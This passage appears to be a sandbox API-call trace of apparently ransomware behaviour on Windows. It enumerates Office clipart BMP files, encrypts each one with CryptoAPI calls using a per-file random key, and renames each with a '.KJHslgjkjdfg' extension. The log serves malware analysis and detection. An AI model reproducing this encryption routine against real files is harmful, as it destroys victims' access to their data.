| out: lpNewFilePointer=0x0) returned 1 [0162.217] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0162.219] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.219] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.219] GetProcessHeap () returned 0x2a0000 [0162.219] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0162.219] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0162.219] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0162.219] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0162.219] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0162.219] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0162.219] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0162.219] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0162.219] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0162.219] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.219] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.219] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.220] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7db8, lpOverlapped=0x0) returned 1 [0162.221] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7dc0, dwBufLen=0x7dc0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7dc0) returned 1 [0162.221] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.221] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7dc0, lpOverlapped=0x0) returned 1 [0162.221] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0162.221] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.221] SetEndOfFile (hFile=0x114) returned 1 [0162.223] GetProcessHeap () returned 0x2a0000 [0162.223] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0162.223] GetProcessHeap () returned 0x2a0000 [0162.223] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0162.223] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp.kjhslgjkjdfg")) returned 1 [0162.225] CloseHandle (hObject=0x114) returned 1 [0162.225] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc447bc00, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc447bc00, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0101864.BMP", cAlternateFileName="")) returned 1 [0162.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0162.225] GetProcessHeap () returned 0x2a0000 [0162.225] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0162.225] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0162.225] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0162.225] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.225] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.225] GetProcessHeap () returned 0x2a0000 [0162.225] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0162.225] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0162.226] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0162.226] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0162.228] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0162.228] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0162.228] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0162.228] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0162.228] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0162.228] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.228] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.228] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.228] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7ce0, lpOverlapped=0x0) returned 1 [0162.229] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7ce0, dwBufLen=0x7ce0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7ce0) returned 1 [0162.230] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.230] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7ce0, lpOverlapped=0x0) returned 1 [0162.230] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0162.230] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.230] SetEndOfFile (hFile=0x114) returned 1 [0162.232] GetProcessHeap () returned 0x2a0000 [0162.232] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0162.232] GetProcessHeap () returned 0x2a0000 [0162.232] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0162.232] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp.kjhslgjkjdfg")) returned 1 [0162.233] CloseHandle (hObject=0x114) returned 1 [0162.233] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb98d2700, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb98d2700, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0101865.BMP", cAlternateFileName="")) returned 1 [0162.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0162.234] GetProcessHeap () returned 0x2a0000 [0162.234] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0162.234] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0162.234] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0162.234] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0162.237] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.237] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.237] GetProcessHeap () returned 0x2a0000 [0162.237] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0162.237] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0162.237] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0162.237] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0162.237] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0162.237] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0162.237] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0162.237] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0162.237] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0162.237] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.237] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.237] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.237] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7db8, lpOverlapped=0x0) returned 1 [0162.238] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7dc0, dwBufLen=0x7dc0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7dc0) returned 1 [0162.239] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.239] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7dc0, lpOverlapped=0x0) returned 1 [0162.239] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0162.239] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.239] SetEndOfFile (hFile=0x114) returned 1 [0162.241] GetProcessHeap () returned 0x2a0000 [0162.242] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0162.242] GetProcessHeap () returned 0x2a0000 [0162.242] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0162.242] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp.kjhslgjkjdfg")) returned 1 [0162.243] CloseHandle (hObject=0x114) returned 1 [0162.243] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbabe5400, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbabe5400, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0101866.BMP", cAlternateFileName="")) returned 1 [0162.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0162.244] GetProcessHeap () returned 0x2a0000 [0162.244] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0162.244] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0162.244] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0162.244] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0162.247] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.247] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.247] GetProcessHeap () returned 0x2a0000 [0162.247] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0162.247] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0162.247] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0162.247] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0162.247] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0162.247] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0162.247] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0162.247] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0162.247] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0162.247] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.247] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.248] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.248] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7db8, lpOverlapped=0x0) returned 1 [0162.335] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7dc0, dwBufLen=0x7dc0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7dc0) returned 1 [0162.335] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.335] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7dc0, lpOverlapped=0x0) returned 1 [0162.336] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0162.336] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.336] SetEndOfFile (hFile=0x114) returned 1 [0162.339] GetProcessHeap () returned 0x2a0000 [0162.339] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0162.339] GetProcessHeap () returned 0x2a0000 [0162.339] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0162.339] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp.kjhslgjkjdfg")) returned 1 [0162.340] CloseHandle (hObject=0x114) returned 1 [0162.340] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa0dde00, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaa0dde00, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7f68, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0101867.BMP", cAlternateFileName="")) returned 1 [0162.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0162.343] GetProcessHeap () returned 0x2a0000 [0162.343] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0162.343] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0162.343] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0162.343] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0162.345] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.345] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.345] GetProcessHeap () returned 0x2a0000 [0162.345] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0162.345] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0162.345] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0162.346] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0162.346] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0162.346] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 